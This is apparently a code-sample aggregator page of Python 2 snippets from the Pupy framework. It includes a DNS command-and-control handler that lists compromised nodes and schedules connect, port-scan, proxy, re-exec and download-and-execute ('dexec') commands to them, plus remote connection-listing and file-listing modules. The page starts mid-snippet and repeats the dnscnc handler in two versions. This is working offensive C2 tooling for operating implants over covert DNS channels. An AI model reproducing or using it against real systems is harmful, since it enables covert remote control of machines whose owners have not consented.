                'transparent-proxy', 'stun', 'mintime', 'ntp-offset'
            ]]

            handler.display(Table(objects, ['KEY', 'VALUE']))

            handler.display('\nPASTES STATUS\n')
            objects = [{
                'KEY': Color(k, 'green' if v else 'lightyellow'),
예제 #27
0
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'IP':
                session.system_info['external_ip'] or '?',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS',
            'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE',
            'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        try:
            count = server.dnscnc.connect(host=args.host,
                                          port=args.port,
                                          transport=args.transport,
                                          node=args.node,
                                          default=args.default)
        except Exception, e:
            handler.display(Error(e))
            return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))
예제 #28
0
    def run(self, args):
        try:
            connections = self.client.remote('pupyps', 'connections')

            families = {
                int(k):v for k,v in self.client.remote_const(
                    'pupyps', 'families'
                ).iteritems()
            }

            socktypes = {
                int(k):v for k,v in self.client.remote_const(
                    'pupyps', 'socktypes'
                ).iteritems()
            }

            data = connections()

            limit = []

            if args.tcp:
                limit.append('STREAM')
            if args.udp:
                limit.append('DGRAM')

            objects = []
            for connection in data:
                if connection['status'] == 'LISTEN' and not args.listen:
                    continue

                if args.listen and not connection['status'] == 'LISTEN':
                    continue

                color = ""
                family = families[connection['family']]
                stype = socktypes[connection['type']]

                if limit and stype not in limit:
                    continue

                if connection.get('me'):
                    color = 'green'
                elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):
                    color = 'darkgrey'
                elif ('127.0.0.1' in connection['laddr'] or '::1' in connection['laddr']):
                    color = 'grey'

                deny = False
                if args.show or '*' in args.hide:
                    deny = True

                connection = {
                    'AF': Color(family, color),
                    'TYPE': Color(stype, color),
                    'LADDR': Color(':'.join([str(x) for x in connection['laddr']]), color),
                    'RADDR': Color(':'.join([str(x) for x in connection['raddr']]), color),
                    'PID': Color(connection.get('pid', ''), color),
                    'USER': Color((connection.get('username') or ''), color),
                    'EXE': Color(
                        connection.get(
                            'exe', (connection.get('name') or '')
                        ), color)
                }

                for v in connection.itervalues():
                    if any(to_unicode(h) in to_unicode(v.data) for h in args.hide):
                        deny = True
                    if any(to_unicode(h) in to_unicode(v.data) for h in args.show):
                        deny = False

                if not deny:
                    objects.append(connection)

            self.table(objects, [
                'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'EXE'
            ], truncate=True)

        except Exception, e:
            logging.exception(e)
예제 #29
0
class ls(PupyModule):
    """ list system files """
    is_module=False

    dependencies = ['pupyutils.basic_cmds', 'scandir', 'zipfile', 'tarfile']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="ls", description=cls.__doc__)
        cls.arg_parser.add_argument('-d', '--dir', action='store_false', default=True,
                                         help='do not list directories')
        sort = cls.arg_parser.add_mutually_exclusive_group()
        sort.add_argument('-L', '--limit', type=int, default=1024,
                          help='List no more than this amount of files (server side), '
                              'to not to stuck on huge dirs. Default: 1024')
        sort.add_argument('-A', '--archive', action='store_true', help='list archives (tar/zip)')
        sort.add_argument('-s', '--size', dest='sort', action='store_const', const=T_SIZE, help='sort by size')
        sort.add_argument('-t', '--time', dest='sort', action='store_const', const=T_TIMESTAMP, help='sort by time')
        cls.arg_parser.add_argument('-r', '--reverse', action='store_true', default=False, help='reverse sort order')
        cls.arg_parser.add_argument(
            'path', type=str, nargs='?', help='path of a specific file', completer=remote_path_completer)

    def run(self, args):
        try:
            ls = self.client.remote('pupyutils.basic_cmds', 'ls')

            results = ls(args.path, args.dir, args.limit, args.archive)
        except Exception, e:
            self.error(' '.join(x for x in e.args if type(x) in (str, unicode)))
            return

        # results = obtain(results)
        windows = self.client.is_windows()

        if not results:
            return

        total_cnt = 0
        files_size = 0
        files_cnt = 0
        dirs_cnt = 0

        for r in results:
            if T_FILES in r:
                archive = None
                is_windows = windows

                if T_ZIPFILE in r:
                    self.log(Color('ZIP: '+r[T_ZIPFILE]+':', 'lightred'))
                    is_windows = True
                elif T_TARFILE in r:
                    self.log(Color('TAR: '+r[T_TARFILE]+':', 'lightred'))
                    is_windows = False
                elif T_PATH in r:
                    self.log(r[T_PATH]+':')

                if not args.sort:
                    dirs = []
                    files = []
                    truncated = 0

                    for x in r[T_FILES] or []:
                        if T_TRUNCATED in x:
                            truncated = x[T_TRUNCATED]
                            total_cnt += truncated
                        elif x[T_TYPE] == 'D':
                            dirs.append(x)
                            total_cnt  += 1
                            dirs_cnt += 1
                        else:
                            files.append(x)
                            files_size += x[T_SIZE]
                            total_cnt  += 1
                            files_cnt  += 1

                    for f in sorted(dirs, key=lambda x: to_utf8(x.get(T_NAME)), reverse=args.reverse):
                        self.log(output_format(f, is_windows))

                    for f in sorted(files, key=lambda x: to_utf8(x.get(T_NAME)), reverse=args.reverse):
                        self.log(output_format(f, is_windows))

                    if truncated:
                        self.warning('Folder is too big. Not listed: {} (-L {})'.format(
                            truncated, args.limit))

                        self.info('Summary (observed): Files: {} Dirs: {} Total: {}'.format(
                            '{}+'.format(files_cnt) if files_cnt else '??',
                            '{}+'.format(dirs_cnt) if dirs_cnt else '??',
                            total_cnt))
                    else:
                        self.info('Summary: Files: {} (size: {}) Dirs: {} Total: {}'.format(
                            files_cnt, size_human_readable(files_size), dirs_cnt, total_cnt))

                else:
                    truncated = False
                    for f in sorted(r[T_FILES], key=lambda x: x.get(args.sort), reverse=args.reverse):
                        if T_TRUNCATED in f:
                            truncated = True
                            continue

                        self.log(output_format(f, is_windows))

                    if truncated:
                        self.log('--- TRUNCATED ---')

            elif T_FILE in r:
                is_windows = windows
                archive = ''
                if T_ZIPFILE in r:
                    archive = 'ZIP'
                    is_windows = True
                elif T_TARFILE in r:
                    archive = 'TAR'
                    is_windows = False
                self.log(output_format(r[T_FILE], is_windows, archive))
            else:
                self.error('Old format. Update pupyutils.basic_cmds')
                return
예제 #30
0
파일: dnscnc.py 프로젝트: yalpdevx/pupy
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'EIP':
                session.system_info['external_ip'] or '?',
                'IIP':
                session.system_info.get('internal_ip') or '',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM',
            'LIS', 'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'INTERNAL IP': '{}'.format(
                    session.system_info.get('internal_ip') or ''
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                        break
                # elif c.node() == '{:012x}'.format(session.system_info['node']):
                #     pupy_session = c.desc['id']

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP',
            'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
                      or (node.iid > 65535 and 'spi' in c.desc and \
                      c.desc['spi'] == '{:08x}'.format(node.iid)):
                        ids.append(str(c.desc['id']))

            if ids:
                pupy_session = ','.join(ids)

            color = None

            if pupy_session:
                object.update({'P': pupy_session})

            if node.alert:
                color = 'lightred'
            elif node.warning:
                color = 'cyan'
            elif pupy_session:
                color = 'lightgreen'
            elif node.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif len(node.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION',
            'CMDS', 'TAGS', 'WARN'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'wait':
        now = time.time()
        timeout = None
        if args.timeout:
            timeout = now + args.timeout
        else:
            timeout = now + handler.dnscnc.policy['timeout']

        dirty = True

        while dirty or (time.time() >= timeout):
            dirty = False
            for session in server.dnscnc.list():
                if len(session.commands) > 0:
                    dirty = True

            if dirty:
                time.sleep(1)

    elif args.command == 'set':
        set_kex = None
        if args.kex is not None:
            set_kex = True
        elif args.no_kex is not None:
            set_kex = False

        if all([x is None for x in [set_kex, args.timeout, args.poll]]):
            handler.display(Error('No arguments provided.'))
        else:
            count = server.dnscnc.set_policy(set_kex,
                                             args.timeout,
                                             args.poll,
                                             node=args.node)
            if count:
                handler.display(
                    Success('Apply policy to {} known nodes'.format(count)))

    elif args.command == 'reset':
        count = server.dnscnc.reset(session=args.node, default=args.default)

        if count:
            handler.display(
                Success('Reset commands on {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'connect':
        # try:
        count = server.dnscnc.connect(args.host,
                                      args.port,
                                      args.transport,
                                      args.fronting,
                                      node=args.node,
                                      default=args.default)
        # except Exception, e:
        #     handler.display(Error(e))
        #     return

        if count:
            handler.display(
                Success('Schedule connect {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'onlinestatus':
        count = server.dnscnc.onlinestatus(node=args.node,
                                           default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule online status request to {} known nodes'.format(
                        count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'scan':
        count = server.dnscnc.scan(args.host,
                                   args.first,
                                   args.last or args.first,
                                   node=args.node,
                                   default=args.default)

        if count:
            handler.display(
                Success(
                    'Schedule scan request to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'disconnect':
        count = server.dnscnc.disconnect(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule disconnect to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'exit':
        count = server.dnscnc.exit(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule exit to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'reexec':
        count = server.dnscnc.reexec(node=args.node, default=args.default)

        if count:
            handler.display(
                Success('Schedule reexec to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'sleep':
        count = server.dnscnc.sleep(args.timeout,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'proxy':
        count = server.dnscnc.proxy(args.uri,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule proxy to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'dexec':
        count = server.dnscnc.dexec(args.url,
                                    args.action,
                                    proxy=args.proxy,
                                    node=args.node,
                                    default=args.default)

        if count:
            handler.display(
                Success('Schedule sleep to {} known nodes'.format(count)))
        elif args.node:
            handler.display(Error('Node {} not found'.format(args.node)))

    elif args.command == 'pastelink':
        try:
            create = None
            output = None

            if args.create:
                create = args.create
            elif args.create_content:
                create, output = args.create_content

            count, url = server.dnscnc.pastelink(content=create,
                                                 output=output,
                                                 url=args.url,
                                                 action=args.action,
                                                 node=args.node,
                                                 default=args.default,
                                                 legacy=args.legacy)

            if output:
                return

            if count:
                handler.display(
                    Success('Schedule exit to {} known nodes'.format(count)))
            elif args.node:
                handler.display(Error('Node {} not found'.format(args.node)))

        except ValueError as e:
            handler.display(Error('{}'.format(e)))

    elif args.command == 'extra':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Error('No sessions found'))
            return
        elif len(sessions) > 1:
            handler.display(Error('Selected more than one sessions'))
            return

        session = sessions[0]

        if session.online_status:
            handler.display('\nONLINE STATUS\n')
            objects = [{
                'KEY':
                Color(k.upper().replace('-', ' '),
                      'green' if session.online_status[k] else 'lightyellow'),
                'VALUE':
                Color(
                    str(session.online_status[k]).upper(),
                    'green' if session.online_status[k] else 'lightyellow')
            } for k in [
                'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http',
                'https', 'https-no-cert', 'https-mitm', 'proxy',
                'transparent-proxy', 'stun', 'mintime', 'ntp-offset'
            ]]

            handler.display(Table(objects, ['KEY', 'VALUE']))

            handler.display('\nPASTES STATUS\n')
            objects = [{
                'KEY': Color(k, 'green' if v else 'lightyellow'),
                'VALUE': Color(v, 'green' if v else 'lightyellow')
            } for k, v in session.online_status['pastebins'].iteritems()]
            handler.display(Table(objects, ['KEY', 'VALUE']))

            session.online_status = None

        if session.egress_ports:
            handler.display('\nEGRESS PORTS: {}\n'.format(','.join(
                str(x) for x in session.egress_ports)))
            session.egress_ports = set()

        if session.open_ports:
            handler.display('\nOPEN PORTS\n')
            objects = [{
                'IP': str(ip),
                'PORTS': ','.join(str(x) for x in ports)
            } for ip, ports in session.open_ports.iteritems()]
            handler.display(Table(objects, ['IP', 'PORTS']))
            session.open_ports = {}